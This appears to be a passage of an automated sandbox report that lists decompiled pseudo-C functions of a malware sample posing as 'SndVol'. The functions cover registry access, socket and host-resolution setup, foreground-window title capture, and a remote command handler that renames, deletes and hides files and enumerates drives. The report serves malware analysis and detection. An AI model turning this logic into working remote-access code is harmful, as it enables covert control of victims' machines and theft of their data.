                                    • Instruction ID: 136777831733cc42731b161c89641b3c83b116acaaa4d3a405525fee88e85c23
                                    • Opcode Fuzzy Hash: 98426144924e105c68d43f2c638da1a3b8ba285331bfbd987b3b1c2d06b55679
                                    • Instruction Fuzzy Hash: A4014B31900229FBCF219F91DC05DEB7F39EF05761F0041A5BE0862261D6358AA9DBA8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00413497 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00413497(char* __edx, char* _a4, char* _a8) {
				void* _v8;
				int _v12;
				int _v16;
				int _t12;
				long _t14;
				long _t18;
				signed int _t19;

				_t12 = 4;
				_v12 = _t12;
				_v16 = _t12;
				_t14 = RegOpenKeyExA(0x80000001, __edx, 0, 0x20019,  &_v8); // executed
				if(_t14 != 0) {
					return 0;
				}
				_t18 = RegQueryValueExA(_v8, _a4, 0,  &_v16, _a8,  &_v12); // executed
				_t19 = RegCloseKey(_v8); // executed
				return _t19 & 0xffffff00 | _t18 == 0x00000000;
			}










                                    0x0041349f
                                    0x004134a0
                                    0x004134a3
                                    0x004134b7
                                    0x004134bf
                                    0x00000000
                                    0x004134ee
                                    0x004134d5
                                    0x004134e0
                                    0x00000000

                                    APIs
                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004134B7
                                    • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,004752F0), ref: 004134D5
                                    • RegCloseKey.KERNEL32(?), ref: 004134E0
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseOpenQueryValue
                                    • String ID:
                                    • API String ID: 3677997916-0
                                    • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                    • Instruction ID: e794e59b5ca6a57b749d61e58330535b6f90d7e0fac61ab044fd0cc5ac3c4881
                                    • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                    • Instruction Fuzzy Hash: 13F0F976900218FFDF119FA49D05BEA7BBCEB04B11F1040A6BE08E6191D2359A549B94
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041344D Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041344D(void* __ecx, char* __edx, char* _a4) {
				void* _v8;
				long _t8;
				signed int _t9;
				long _t10;
				signed int _t11;

				_t8 = RegOpenKeyExA(0x80000001, __edx, 0, 0x20019,  &_v8); // executed
				if(_t8 != 0) {
					_t9 = 0;
				} else {
					_t10 = RegQueryValueExA(_v8, _a4, 0, 0, 0, 0); // executed
					_t11 = RegCloseKey(_v8); // executed
					_t9 = _t11 & 0xffffff00 | _t10 == 0x00000000;
				}
				return _t9;
			}








                                    0x00413464
                                    0x0041346c
                                    0x00413490
                                    0x0041346e
                                    0x00413478
                                    0x00413483
                                    0x0041348b
                                    0x0041348b
                                    0x00413496

                                    APIs
                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?,00000000,?,?,0040C0EA,00466C48), ref: 00413464
                                    • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,0040C0EA,00466C48), ref: 00413478
                                    • RegCloseKey.KERNEL32(?,?,?,0040C0EA,00466C48), ref: 00413483
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseOpenQueryValue
                                    • String ID:
                                    • API String ID: 3677997916-0
                                    • Opcode ID: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                                    • Instruction ID: e49fa1678814d70b7460577f8c92d0bb3d1ec56b87fc076ee76b734fba8ab665
                                    • Opcode Fuzzy Hash: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                                    • Instruction Fuzzy Hash: 83E06531801338FB9F208FA29C0DEEB7F6CDF0ABA5B004155BD0CA1111D2258E50E6E4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004137C5 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E004137C5(void* __ecx, char* __edx, char* _a4, char _a8) {
				void* _v8;
				long _t9;
				long _t12;

				_t9 = RegCreateKeyA(0x80000001, __edx,  &_v8); // executed
				if(_t9 != 0) {
					return 0;
				}
				_t12 = RegSetValueExA(_v8, _a4, 0, 4,  &_a8, 4); // executed
				return RegCloseKey(_v8) & 0xffffff00 | _t12 == 0x00000000;
			}






                                    0x004137d3
                                    0x004137db
                                    0x00000000
                                    0x00413807
                                    0x004137ee
                                    0x00000000

                                    APIs
                                    • RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 004137D3
                                    • RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C0A0,00466C48,00000001,000000AF,004660A4), ref: 004137EE
                                    • RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C0A0,00466C48,00000001,000000AF,004660A4), ref: 004137F9
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseCreateValue
                                    • String ID:
                                    • API String ID: 1818849710-0
                                    • Opcode ID: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                                    • Instruction ID: ead8b78bb389cf5df025ceee4aae861e94320b11b9276a5e3b9bfc9d6c17330c
                                    • Opcode Fuzzy Hash: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                                    • Instruction Fuzzy Hash: 69E06572500318FBDF105F90DC05FEA7F6CDF04B52F104465BF09A6191D2358E14A7A4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00409DE4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00409DE4(void* __ebx, void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, char _a28) {
				char _v32;
				char _v56;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				void* _t24;
				void* _t34;
				intOrPtr _t55;
				void* _t62;
				void* _t64;

				_t37 = __ebx;
				_t62 = __ecx;
				 *((intOrPtr*)(__ecx + 0x4c)) = _a4;
				 *((intOrPtr*)(__ecx + 0x50)) = _a8;
				_t23 = E0043BA26(_a16);
				_t55 = _a12;
				if(_t23 != 0) {
					_t24 = E0040D982( &_v32, _t55, _a16); // executed
					E00401F13(0x475170, _t55, _t62, _t24);
					E00401F09();
					E00401F13(_t62 + 0x68, _t27, _t62, E00403014(__ebx,  &_v32, E0040915B( &_v56, 0x475170, _t64, "\\"), 0x475170, _t64, __eflags, _a20));
					E00401F09();
				} else {
					E00401F13(_t62 + 0x68, _t55, _t62, E0040D982( &_v32, _t55, _a20));
				}
				E00401F09();
				 *0x4751a4 =  *0x4751a4 & 0x00000000;
				 *0x4751a0 = _a24 * 0x3e8;
				 *0x47513b = _a28; // executed
				_t34 = E0040A109(_t37, _t62,  *0x4751a4); // executed
				return _t34;
			}














                                    0x00409de4
                                    0x00409dee
                                    0x00409df4
                                    0x00409dfa
                                    0x00409dfd
                                    0x00409e02
                                    0x00409e0b
                                    0x00409e27
                                    0x00409e35
                                    0x00409e3d
                                    0x00409e64
                                    0x00409e6c
                                    0x00409e0d
                                    0x00409e1a
                                    0x00409e1f
                                    0x00409e74
                                    0x00409e82
                                    0x00409e89
                                    0x00409e91
                                    0x00409e96
                                    0x00409ea0

                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _wcslen
                                    • String ID: pQG
                                    • API String ID: 176396367-3769108836
                                    • Opcode ID: 15f96b32b626cadd5867fef30d06c9e0d0894a369bcf0fa01e34dc1db16b9bc8
                                    • Instruction ID: fafdc5f29fcf3a5fd897fd75a2146a41f09f2f15d4cc5c295dee9277541a5353
                                    • Opcode Fuzzy Hash: 15f96b32b626cadd5867fef30d06c9e0d0894a369bcf0fa01e34dc1db16b9bc8
                                    • Instruction Fuzzy Hash: 4811C6319002059BCB15EF65E8519EF77B4EF54318B10413FF805662E2EF789D05CB98
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041B708 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041B708(intOrPtr* __ecx) {
				struct _MEMORYSTATUSEX _v68;
				intOrPtr _t8;

				_v68.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v68); // executed
				 *__ecx = _v68.ullTotalPhys;
				_t8 = _v68.ullAvailPhys;
				 *((intOrPtr*)(__ecx + 4)) = _t8;
				return _t8;
			}





                                    0x0041b712
                                    0x0041b71c
                                    0x0041b725
                                    0x0041b727
                                    0x0041b72a
                                    0x0041b731

                                    APIs
                                    • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041B71C
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: GlobalMemoryStatus
                                    • String ID: @
                                    • API String ID: 1890195054-2766056989
                                    • Opcode ID: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                                    • Instruction ID: 2d2b64c70bc766df394076410504e3f9c8f669937c614d63c6700d8895b1c70c
                                    • Opcode Fuzzy Hash: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                                    • Instruction Fuzzy Hash: E6D017B58023189FC720DFA8E804A8DBBFCFB08210F00456AEC49E3700E770E8008B94
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040482D Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 58%
                                    			E0040482D(char* __ecx) {
				intOrPtr _t14;
				char _t16;
				char* _t22;

				_t22 = __ecx;
				if( *0x472abb != 0 || E0040489E() != 0) {
					_t14 =  *0x472adc; // 0x804538
					__imp__#23( *((intOrPtr*)(_t14 + 4)), 1, 6); // executed
					 *((intOrPtr*)(_t22 + 4)) = _t14;
					if(_t14 == 0xffffffff) {
						goto L2;
					} else {
						_t16 =  *0x472ae4; // 0x1
						 *((char*)(_t22 + 0x5c)) = 0;
						 *((intOrPtr*)(_t22 + 0x60)) = 0;
						 *((intOrPtr*)(_t22 + 0x58)) = 0x3e8;
						 *((char*)(_t22 + 0x7d)) = 0;
						 *((char*)(_t22 + 1)) = _t16;
						 *((intOrPtr*)(_t22 + 0x4c)) = 0;
						 *((intOrPtr*)(_t22 + 0x50)) = 0;
						 *((intOrPtr*)(_t22 + 0x68)) = 0;
						 *((intOrPtr*)(_t22 + 0x70)) = 0;
						 *((intOrPtr*)(_t22 + 0x6c)) = 0;
						 *((intOrPtr*)(_t22 + 0x68)) = CreateEventW(0, 0, 1, 0);
						 *_t22 = 1;
						return 1;
					}
				} else {
					L2:
					return 0;
				}
			}






                                    0x00404835
                                    0x00404837
                                    0x00404846
                                    0x00404852
                                    0x00404858
                                    0x0040485e
                                    0x00000000
                                    0x00404860
                                    0x00404860
                                    0x0040486c
                                    0x0040486f
                                    0x00404872
                                    0x00404879
                                    0x0040487c
                                    0x0040487f
                                    0x00404882
                                    0x00404885
                                    0x00404888
                                    0x0040488b
                                    0x00404894
                                    0x00404899
                                    0x0040489d
                                    0x0040489d
                                    0x00404842
                                    0x00404842
                                    0x00404845
                                    0x00404845

                                    APIs
                                    • socket.WS2_32(?,00000001,00000006), ref: 00404852
                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,0040530B,?,?,00000000,00000000,?,?,00000000,00405208,?,00000000), ref: 0040488E
                                      • Part of subcall function 0040489E: WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateEventStartupsocket
                                    • String ID:
                                    • API String ID: 1953588214-0
                                    • Opcode ID: 521f5ece035b781d6614b92269cfb6f5cbcb1df57b0ec94ab883829d9db72848
                                    • Instruction ID: 7af5cc85a36d800a693892934b5c0b91abe86707509305098cc6d5fca1b6a633
                                    • Opcode Fuzzy Hash: 521f5ece035b781d6614b92269cfb6f5cbcb1df57b0ec94ab883829d9db72848
                                    • Instruction Fuzzy Hash: 6E0171B1408B809ED7359F38A8456977FE0AB55304F048D6EF1DA97B91D3B5A881CB18
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041B9E8 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041B9E8(void* __ebx, void* __ecx, void* __edi) {
				short _v516;
				void* __ebp;
				struct HWND__* _t6;
				void* _t15;
				void* _t17;
				void* _t18;

				_t17 = __ecx;
				E00436DE0(__edi,  &_v516, 0, 0x200);
				_t6 = GetForegroundWindow(); // executed
				GetWindowTextW(_t6,  &_v516, 0x100);
				E0040417E(__ebx, _t17, _t15, _t18,  &_v516);
				return _t17;
			}









                                    0x0041ba00
                                    0x0041ba02
                                    0x0041ba0a
                                    0x0041ba1d
                                    0x0041ba2c
                                    0x0041ba37

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Window$ForegroundText
                                    • String ID:
                                    • API String ID: 29597999-0
                                    • Opcode ID: 37bc9f448460fd1a8cd65ff34a710c4e1c0024134306fb5edc35e71c98be8f28
                                    • Instruction ID: e7292b0a6468178aecfedb43cc6e16f68c854e8a8b0f0a9bc41aca654e813935
                                    • Opcode Fuzzy Hash: 37bc9f448460fd1a8cd65ff34a710c4e1c0024134306fb5edc35e71c98be8f28
                                    • Instruction Fuzzy Hash: 34E0D871A00328A7E720A7A4AC4EFE5776CE708701F0000EABA18D31C2EAB49D14C7E4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00414E37 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 16%
                                    			E00414E37(void* __ecx, void* __edx) {
				intOrPtr* _t1;
				void* _t2;
				void* _t6;
				void* _t7;
				void* _t8;

				_t1 =  *0x476b34;
				_t7 = __edx;
				_t6 = __ecx;
				if(_t1 == 0) {
					_t1 = E00414CD4();
					 *0x476b34 = _t1;
				}
				_t2 =  *_t1(_t6, _t7, 0, 0x472adc); // executed
				_t8 = _t2;
				__imp__#112(_t8);
				return _t8;
			}








                                    0x00414e37
                                    0x00414e3d
                                    0x00414e40
                                    0x00414e44
                                    0x00414e46
                                    0x00414e4b
                                    0x00414e4b
                                    0x00414e59
                                    0x00414e5b
                                    0x00414e5e
                                    0x00414e68

                                    APIs
                                    • getaddrinfo.WS2_32(00000000,00000000,00000000,00472ADC,004750E4,00000000,004150D6,00000000,00000001), ref: 00414E59
                                    • WSASetLastError.WS2_32(00000000), ref: 00414E5E
                                      • Part of subcall function 00414CD4: GetSystemDirectoryA.KERNEL32 ref: 00414D23
                                      • Part of subcall function 00414CD4: LoadLibraryA.KERNEL32(?), ref: 00414D65
                                      • Part of subcall function 00414CD4: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414D85
                                      • Part of subcall function 00414CD4: FreeLibrary.KERNEL32(00000000), ref: 00414D8C
                                      • Part of subcall function 00414CD4: LoadLibraryA.KERNEL32(?), ref: 00414DC4
                                      • Part of subcall function 00414CD4: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414DD6
                                      • Part of subcall function 00414CD4: FreeLibrary.KERNEL32(00000000), ref: 00414DDD
                                      • Part of subcall function 00414CD4: GetProcAddress.KERNEL32(00000000,?), ref: 00414DEC
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                                    • String ID:
                                    • API String ID: 1170566393-0
                                    • Opcode ID: 5f54ddb93d2713db6754903b2bfaa3ab0bf13d314d5671efb2405644ea361ed7
                                    • Instruction ID: 58ee6cb4ac7b8a84153b3ebb1dd1791b00357fb3ca99eb11fea15aa8b3331a22
                                    • Opcode Fuzzy Hash: 5f54ddb93d2713db6754903b2bfaa3ab0bf13d314d5671efb2405644ea361ed7
                                    • Instruction Fuzzy Hash: 20D012723025216B9710A75E6D00BF79799DBD77607060037F504D2110D6945C4183E8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                                    Download Yara Rule
                                    APIs
                                    • WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Startup
                                    • String ID:
                                    • API String ID: 724789610-0
                                    • Opcode ID: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                                    • Instruction ID: a24ce82555f98f109a53945ea9c337c8597cdca763f75144b39f195b4e3f482d
                                    • Opcode Fuzzy Hash: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                                    • Instruction Fuzzy Hash: 0DD0C9325586088AE620AAB4AD0B8A4775C8312615F0007AA6CA5835D2E6446A19C2AA
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00426C1A Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: send
                                    • String ID:
                                    • API String ID: 2809346765-0
                                    • Opcode ID: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                                    • Instruction ID: 80dceff54fd7c7607e374e8a405dba3f032bb15cdc3f4a53630576a73fa931ff
                                    • Opcode Fuzzy Hash: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                                    • Instruction Fuzzy Hash: 79B09279108202FFCB150B60CD0887A7EAAABC8381F008A2CB187411B1C636C852AB26
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Non-executed Functions

                                    Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 83%
                                    			E00407C97(char* __edx, void* __eflags, intOrPtr _a4) {
				char _v268;
				char _v396;
				char _v400;
				char _v416;
				void* _v420;
				char _v424;
				char _v432;
				char _v440;
				char _v444;
				char _v448;
				char _v468;
				char _v476;
				char _v480;
				void* _v488;
				char _v492;
				char _v496;
				char _v504;
				char _v512;
				char _v516;
				char _v520;
				void* _v524;
				char _v528;
				char _v536;
				char _v540;
				char _v544;
				char _v548;
				char _v552;
				char _v556;
				char _v560;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				void* _v588;
				void* _v596;
				char _v600;
				char _v612;
				char _v620;
				char _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t166;
				int _t182;
				void* _t186;
				void* _t190;
				void* _t198;
				int _t200;
				int _t210;
				int _t213;
				void* _t229;
				int _t231;
				long _t237;
				int _t240;
				void* _t254;
				signed int _t256;
				void* _t267;
				char* _t269;
				void* _t270;
				void* _t281;
				void* _t297;
				void* _t307;
				void* _t324;
				void* _t325;
				void* _t338;
				void* _t345;
				void* _t349;
				int _t350;
				void* _t354;
				void* _t365;
				signed int _t379;
				void* _t383;
				void* _t388;
				void* _t398;
				int _t465;
				void* _t614;
				void* _t617;
				short* _t640;
				intOrPtr _t650;
				intOrPtr _t651;
				int _t652;
				int _t654;
				int _t656;
				int _t657;
				int _t658;
				int _t659;
				void* _t662;
				void* _t664;
				void* _t666;
				void* _t668;
				void* _t669;
				void* _t670;
				void* _t673;
				void* _t674;
				signed int _t675;
				void* _t678;
				void* _t679;
				void* _t680;
				void* _t683;
				void* _t684;
				void* _t685;
				void* _t686;
				void* _t688;
				void* _t689;
				void* _t690;
				void* _t699;
				void* _t700;
				void* _t718;
				void* _t719;
				void* _t720;
				void* _t722;
				void* _t724;
				void* _t732;
				void* _t733;
				void* _t734;
				void* _t735;
				void* _t736;
				void* _t738;
				signed int _t747;

				_t737 = __eflags;
				_t629 = __edx;
				_push(0);
				_t650 = _a4;
				E004020F6(0,  &_v444, __edx, __eflags, _t650 + 0xc);
				SetEvent( *(_t650 + 0x24));
				_t651 =  *((intOrPtr*)(E00401FAB( &_v448)));
				E004041A2( &_v448,  &_v424, 4, 0xffffffff);
				_t678 = (_t675 & 0xfffffff8) - 0x20c;
				E004020F6(0, _t678, _t629, _t737, 0x474ee0);
				_t679 = _t678 - 0x18;
				E004020F6(0, _t679, _t629, _t737,  &_v440);
				E0041BD6D( &_v576, _t629);
				_t680 = _t679 + 0x30;
				_t738 = _t651 - 0x8d;
				if(_t738 > 0) {
					_t652 = _t651 - 0x8e;
					__eflags = _t652;
					if(_t652 == 0) {
						__eflags = 0;
						E0040417E(0,  &_v544, _t629, _t674, E00401FAB(E00401E65( &_v552, _t629, _t674, 0, 0)));
						_t166 = E00401FAB(E00401E65( &_v560, _t629, _t674, __eflags, 1));
						_t629 =  &_v552;
						CreateDirectoryW(E00401F04(E0040915B( &_v480,  &_v552, _t674, _t166)), 0);
						E00401F09();
						E0040324F(0x2a);
						E0040905C(0, _t680 - 0x18,  &_v552, __eflags,  &_v556);
						goto L57;
					} else {
						_t654 = _t652 - 3;
						__eflags = _t654;
						if(__eflags == 0) {
							_t182 = StrToIntA(E00401FAB(E00401E65( &_v552, _t629, _t674, __eflags, 0)));
							_t629 = E00401FAB(E00401E65( &_v556, _t629, _t674, __eflags, 1));
							E0041C934(_t182, _t184);
						} else {
							_t656 = _t654 - 0x24;
							__eflags = _t656;
							if(__eflags == 0) {
								 *0x472b18 = 0;
								_t186 = E00401E65( &_v552, _t629, _t674, __eflags, 2);
								_t683 = _t680 - 0x18;
								E004020F6(0, _t683, _t629, __eflags, _t186);
								_t684 = _t683 - 0x18;
								E0040417E(0, _t684, _t629, _t674, 0x466468);
								_t190 = E00401FAB(E00401E65( &_v564, _t629, _t674, __eflags, 0));
								_t685 = _t684 - 0x18;
								E0040417E(0, _t685, _t629, _t674, _t190);
								E00401E65( &_v572, _t629, _t674, __eflags, 1);
								E0040880C(E0041BD3E(__eflags), _t629, __eflags);
								_t686 = _t685 + 0x48;
								__eflags =  *0x472b18; // 0x0
								if(__eflags == 0) {
									Sleep(0x7d0);
									E004020F6(0, _t686 - 0x18, _t629, __eflags, E00401E65( &_v552, _t629, _t674, __eflags, 0));
									_push(0xb9);
									goto L54;
								}
							} else {
								_t657 = _t656 - 3;
								__eflags = _t657;
								if(_t657 == 0) {
									 *0x472b18 = 1;
								} else {
									_t658 = _t657 - 0xa;
									__eflags = _t658;
									if(__eflags == 0) {
										_t198 = E00401E65( &_v552, _t629, _t674, __eflags, 2);
										_t688 = _t680 - 0x18;
										E004020F6(0, _t688, _t629, __eflags, _t198);
										_t200 = E00407BF4(_t674);
										_t689 = _t688 + 0x18;
										__eflags = _t200;
										if(_t200 != 0) {
											E00436DE0(0x474ee0,  &_v268, 0, 0x104);
											_t690 = _t689 + 0xc;
											 *0x472b20(E00401FAB(E00401E65( &_v552, _t629, _t674, __eflags, 0)),  &_v268);
											_t210 = E0043B9FC(_t207, E00401FAB(E00401E65( &_v556, _t629, _t674, __eflags, 1)));
											__eflags = _t210;
											if(__eflags == 0) {
												_t691 = _t690 - 0x18;
												goto L50;
											} else {
												_t213 = _t210 - 1;
												__eflags = _t213;
												if(__eflags == 0) {
													E00402093(0,  &_v516, _t629, _t674,  &_v268);
													E004020F6(0, _t690 - 0x18, _t629, __eflags, 0x475040);
													E0040417E(0, _t690, _t629, _t674, 0x466468);
													_t629 =  &_v528;
													E0041BBB0(_t690 - 0xffffffffffffffe8,  &_v528);
													_t465 = 0;
													__eflags = 0;
													goto L48;
												} else {
													__eflags = _t213 - 1;
													if(__eflags == 0) {
														E00402093(0,  &_v516, _t629, _t674,  &_v268);
														E004020F6(0, _t690 - 0x18, _t629, __eflags, 0x475040);
														E0040417E(0, _t690, _t629, _t674, 0x466468);
														_t629 =  &_v528;
														E0041BBB0(_t690 - 0xffffffffffffffe8,  &_v528);
														_t465 = 1;
														L48:
														E00408A85(_t465, _t629, 0x474ee0);
														E00401FD8();
														DeleteFileA( &_v268);
													}
												}
											}
										}
									} else {
										_t659 = _t658 - 1;
										__eflags = _t659;
										if(__eflags == 0) {
											_t229 = E00401E65( &_v552, _t629, _t674, __eflags, 1);
											_t699 = _t680 - 0x18;
											E004020F6(0, _t699, _t629, __eflags, _t229);
											_t231 = E00407BF4(_t674);
											_t700 = _t699 + 0x18;
											__eflags = _t231;
											if(__eflags != 0) {
												 *0x472b1c(E00401FAB(E00401E65( &_v552, _t629, _t674, __eflags, 0)));
												_t691 = _t700 - 0x14;
												L50:
												E0040905C(0, _t691, _t629, __eflags, 0x475028);
												E0040783C();
												goto L27;
											}
										} else {
											_t660 = _t659 - 4;
											__eflags = _t659 - 4;
											if(__eflags == 0) {
												_t237 = E0043B9FC(_t235, E00401FAB(E00401E65( &_v552, _t629, _t674, __eflags, 1)));
												_t240 = SetFileAttributesW(E00401FAB(E00401E65( &_v556, _t629, _t674, __eflags, _t660)), _t237);
												__eflags = _t240;
												E0041BD48(_t680 - 0x18, _t629);
												_push(0xc7);
												L54:
												E00404AA1(0x475058, _t629, __eflags);
											}
										}
									}
								}
							}
						}
					}
				} else {
					if(_t738 == 0) {
						E0040417E(0,  &_v544, _t629, _t674, E00401FAB(E00401E65( &_v552, _t629, _t674, __eflags, 0)));
						E0040417E(0,  &_v528, _t629, _t674, E00401FAB(E00401E65( &_v560, _t629, _t674, __eflags, 1)));
						E0040900E( &_v564,  &_v516, 0, E00409028( &_v556,  &_v528,  &_v528) + 1);
						_t254 = E00401F04(E004091E1( &_v504,  &_v528, _t674,  &_v552));
						_t256 = E0043F877(E00401F04( &_v576), _t254);
						asm("sbb bl, bl");
						E00401F09();
						_t408 =  ~_t256 + 1;
						__eflags =  ~_t256 + 1;
						if( ~_t256 + 1 == 0) {
							_t629 = E0040531E( &_v468, "Unable to rename file!", _t674, 0x474ee0);
							E00406383(_t408, _t680 - 0x18, _t258, 0x474ee0, _t674, __eflags, "16");
							_push(0x59);
							E00404AA1(0x475058, _t258, __eflags);
							E00401FD8();
						} else {
							_t629 =  &_v492;
							E0040915B(_t680 - 0x18,  &_v492, _t674, "*");
							E0040783C();
						}
						E00401F09();
						E00401F09();
						goto L58;
					} else {
						_t662 = _t651 - 0x61;
						if(_t662 == 0) {
							_t267 = E00401FAB(E00401E65( &_v552, _t629, _t674, __eflags, 0));
							_t691 = _t680 - 0x18;
							E0040417E(0, _t680 - 0x18, _t629, _t674, _t267);
							_t269 = E00401E65( &_v560, _t629, _t674, __eflags, 2);
							_t270 = E00401E65( &_v564, _t629, _t674, __eflags, 1);
							_t629 = _t269;
							E0041AF99(_t270, _t269);
							L27:
						} else {
							_t664 = _t662 - 0x26;
							if(_t664 == 0) {
								GetLogicalDriveStringsA(0x64,  &_v396);
								E004020B7(0,  &_v540, _t629, _t674, __eflags,  &_v396, 0x64);
								__eflags = E00406B7C( &_v548, 0x466550, 0, 2) + 1;
								E00401F9D(E00406B7C( &_v548, 0x466550, 0, 2) + 1);
